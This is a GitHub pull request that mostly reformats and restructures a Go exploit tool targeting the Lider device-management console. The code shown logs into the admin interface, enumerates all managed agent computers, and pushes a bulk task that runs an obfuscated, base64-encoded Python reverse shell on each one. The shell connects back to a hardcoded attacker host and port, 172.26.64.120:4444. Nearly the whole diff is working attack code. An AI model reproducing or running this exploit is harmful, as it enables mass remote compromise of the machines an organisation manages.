Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Edit Struct #1

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
142 changes: 64 additions & 78 deletions agent.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,94 +12,81 @@ import (
"time"
)

type Agents []struct {
DistinguishedName string `json:"distinguishedName"`
Ou interface{} `json:"ou"`
Cn string `json:"cn"`
UID string `json:"uid"`
Sn interface{} `json:"sn"`
O string `json:"o"`
UserPassword string `json:"userPassword"`
Parent interface{} `json:"parent"`
ParentName interface{} `json:"parentName"`
EntryUUID string `json:"entryUUID"`
HasSubordinates string `json:"hasSubordinates"`
Name string `json:"name"`
IconPath interface{} `json:"iconPath"`
ExpandedUser string `json:"expandedUser"`
Attributes struct {
Owner string `json:"owner"`
EntryUUID string `json:"entryUUID"`
StructuralObjectClass string `json:"structuralObjectClass"`
CreatorsName string `json:"creatorsName"`
UserPassword string `json:"userPassword"`
SubschemaSubentry string `json:"subschemaSubentry"`
Cn string `json:"cn"`
HasSubordinates string `json:"hasSubordinates"`
O string `json:"o"`
CreateTimestamp string `json:"createTimestamp"`
ModifyTimestamp string `json:"modifyTimestamp"`
UID string `json:"uid"`
EntryCSN string `json:"entryCSN"`
ModifiersName string `json:"modifiersName"`
LiderDeviceOSType string `json:"liderDeviceOSType"`
PwdChangedTime string `json:"pwdChangedTime"`
EntryDN string `json:"entryDN"`
} `json:"attributes"`
AttributesMultiValues struct {
Owner []string `json:"owner"`
EntryUUID []string `json:"entryUUID"`
StructuralObjectClass []string `json:"structuralObjectClass"`
CreatorsName []string `json:"creatorsName"`
UserPassword []string `json:"userPassword"`
SubschemaSubentry []string `json:"subschemaSubentry"`
ObjectClass []string `json:"objectClass"`
Cn []string `json:"cn"`
HasSubordinates []string `json:"hasSubordinates"`
O []string `json:"o"`
CreateTimestamp []string `json:"createTimestamp"`
ModifyTimestamp []string `json:"modifyTimestamp"`
UID []string `json:"uid"`
EntryCSN []string `json:"entryCSN"`
ModifiersName []string `json:"modifiersName"`
LiderDeviceOSType []string `json:"liderDeviceOSType"`
PwdChangedTime []string `json:"pwdChangedTime"`
EntryDN []string `json:"entryDN"`
} `json:"attributesMultiValues"`
Type string `json:"type"`
Priviliges interface{} `json:"priviliges"`
ChildEntries interface{} `json:"childEntries"`
TelephoneNumber interface{} `json:"telephoneNumber"`
HomePostalAddress interface{} `json:"homePostalAddress"`
CreateDateStr string `json:"createDateStr"`
Mail interface{} `json:"mail"`
SessionList interface{} `json:"sessionList"`
AgentListSize interface{} `json:"agentListSize"`
OnlineAgentListSize interface{} `json:"onlineAgentListSize"`
AgentList interface{} `json:"agentList"`
OnlineAgentList interface{} `json:"onlineAgentList"`
Online bool `json:"online"`
type Attributes struct {
Owner string `json:"owner"`
EntryUUID string `json:"entryUUID"`
StructuralObjectClass string `json:"structuralObjectClass"`
CreatorsName string `json:"creatorsName"`
UserPassword string `json:"userPassword"`
SubschemaSubentry string `json:"subschemaSubentry"`
Cn string `json:"cn"`
HasSubordinates string `json:"hasSubordinates"`
O string `json:"o"`
CreateTimestamp string `json:"createTimestamp"`
ModifyTimestamp string `json:"modifyTimestamp"`
UID string `json:"uid"`
EntryCSN string `json:"entryCSN"`
ModifiersName string `json:"modifiersName"`
LiderDeviceOSType string `json:"liderDeviceOSType"`
PwdChangedTime string `json:"pwdChangedTime"`
EntryDN string `json:"entryDN"`
}

type AttributesMultiValues struct {
Attributes
ObjectClass []string `json:"objectClass"`
}

type Agents []struct {
DistinguishedName string `json:"distinguishedName"`
Ou interface{} `json:"ou"`
Cn string `json:"cn"`
UID string `json:"uid"`
Sn interface{} `json:"sn"`
O string `json:"o"`
UserPassword string `json:"userPassword"`
Parent interface{} `json:"parent"`
ParentName interface{} `json:"parentName"`
EntryUUID string `json:"entryUUID"`
HasSubordinates string `json:"hasSubordinates"`
Name string `json:"name"`
IconPath interface{} `json:"iconPath"`
ExpandedUser string `json:"expandedUser"`
Attributes Attributes `json:"attributes"`
AttributesMultiValues AttributesMultiValues `json:"attributesMultiValues"`
Type string `json:"type"`
Priviliges interface{} `json:"priviliges"`
ChildEntries interface{} `json:"childEntries"`
TelephoneNumber interface{} `json:"telephoneNumber"`
HomePostalAddress interface{} `json:"homePostalAddress"`
CreateDateStr string `json:"createDateStr"`
Mail interface{} `json:"mail"`
SessionList interface{} `json:"sessionList"`
AgentListSize interface{} `json:"agentListSize"`
OnlineAgentListSize interface{} `json:"onlineAgentListSize"`
AgentList interface{} `json:"agentList"`
OnlineAgentList interface{} `json:"onlineAgentList"`
Online bool `json:"online"`
}

func (cu *ConsoleUser)NewAgents(agentLdapBaseDn string) *Agents{
func (cu *ConsoleUser) NewAgents(agentLdapBaseDn string) *Agents {

print_info("Getting all the active computers")
client := http.Client{Jar: cu.cookieJar}

v := url.Values{}
v.Set("uid", agentLdapBaseDn)
v.Set("type", "ORGANIZATIONAL_UNIT")
v.Set("name", "Agents")
v.Set("parent", "")

resp, err := client.PostForm(fmt.Sprintf("http://%s:8080/lider/computer/getOuDetails", TARGET), v)
resp, err := client.PostForm(fmt.Sprintf("http://%s:8080/lider/computer/getOuDetails", TARGET), v)

if err != nil {
panic_with_msg("Unable to login somehow. Dunno why", err)
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)

agents := new(Agents)
Expand All @@ -112,7 +99,7 @@ func (cu *ConsoleUser)NewAgents(agentLdapBaseDn string) *Agents{
return agents
}

func (cu *ConsoleUser)TriggerPayloadonAllAgents(agents *Agents){
func (cu *ConsoleUser) TriggerPayloadonAllAgents(agents *Agents) {

a, err := json.Marshal(agents)

Expand Down Expand Up @@ -159,22 +146,21 @@ func (cu *ConsoleUser)TriggerPayloadonAllAgents(agents *Agents){
},
"activationDate": null
}
`, a, (rand.Intn(10000 - 100) + 1000), strings.Replace(NewPayload(), "\"", "\\\"", -1))
`, a, (rand.Intn(10000-100) + 1000), strings.Replace(NewPayload(), "\"", "\\\"", -1))

client := http.Client{Jar: cu.cookieJar}

resp, err := client.Post(fmt.Sprintf("http://%s:8080/lider/task/execute", TARGET), "application/json", bytes.NewBuffer([]byte(godsJson)))
resp, err := client.Post(fmt.Sprintf("http://%s:8080/lider/task/execute", TARGET), "application/json", bytes.NewBuffer([]byte(godsJson)))

if err != nil {
panic_with_msg("Unable to triggger the bulk task endpoint", err)
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)

if strings.Contains(string(body), "Gonderildi"){
if strings.Contains(string(body), "Gonderildi") {
print_good("Hooold my beer ! Shell storm is coming.")
}


}
}
7 changes: 3 additions & 4 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ import (

var TARGET, LHOST, LPORT string

func main(){
func main() {

print_info("Starting the exploit")

Expand All @@ -19,7 +19,7 @@ func main(){
LHOST = "172.26.64.120"
LPORT = "4444"

TARGETURI := "http://192.168.179.134:8080/lider/config/configurations"
TARGETURI := "http://192.168.179.134:8080/lider/config/configurations"

res, err := http.Get(TARGETURI)

Expand Down Expand Up @@ -73,5 +73,4 @@ func main(){
cu.TriggerPayloadonAllAgents(agents)
//fmt.Println(NewPayload())


}
}
6 changes: 3 additions & 3 deletions payload.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,8 @@ import (
"fmt"
)

func NewPayload() string{
func NewPayload() string {

template := fmt.Sprintf(`
import socket,zlib,base64,struct,time
for x in range(10):
Expand All @@ -25,4 +25,4 @@ exec(zlib.decompress(base64.b64decode(d)),{'s':s})`, LHOST, LPORT)
p := base64.StdEncoding.EncodeToString([]byte(template))

return fmt.Sprintf(`python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('%s')[0]))"`, p)
}
}
28 changes: 13 additions & 15 deletions user.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,43 +11,41 @@ import (
)

type ConsoleUser struct {
username []string
password []string
username []string
password []string
cookieJar *cookiejar.Jar
}

func (cu *ConsoleUser)Login() {
func (cu *ConsoleUser) Login() {
print_info("Authentication to the console with credentials")

time.Sleep(1)

options := cookiejar.Options{

}
options := cookiejar.Options{}

jar, err := cookiejar.New(&options)
if err != nil {
panic_with_msg("Something went wront", err)
}
jar, err := cookiejar.New(&options)
if err != nil {
panic_with_msg("Something went wront", err)
}

cu.cookieJar = jar

client := http.Client{Jar: cu.cookieJar}
resp, err := client.PostForm(fmt.Sprintf("http://%s:8080/login", TARGET), url.Values{
"password": cu.password,
"username" : cu.username,
resp, err := client.PostForm(fmt.Sprintf("http://%s:8080/login", TARGET), url.Values{
"password": cu.password,
"username": cu.username,
})

if err != nil {
panic_with_msg("Unable to login somehow. Dunno why", err)
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)

if strings.Contains(string(body), "forgot_password") {
panic_with_msg("Unable to login with credentials ! Something is wrong", err)
}

print_good("Successfully authenticated to the administrator interface ! ")
}
}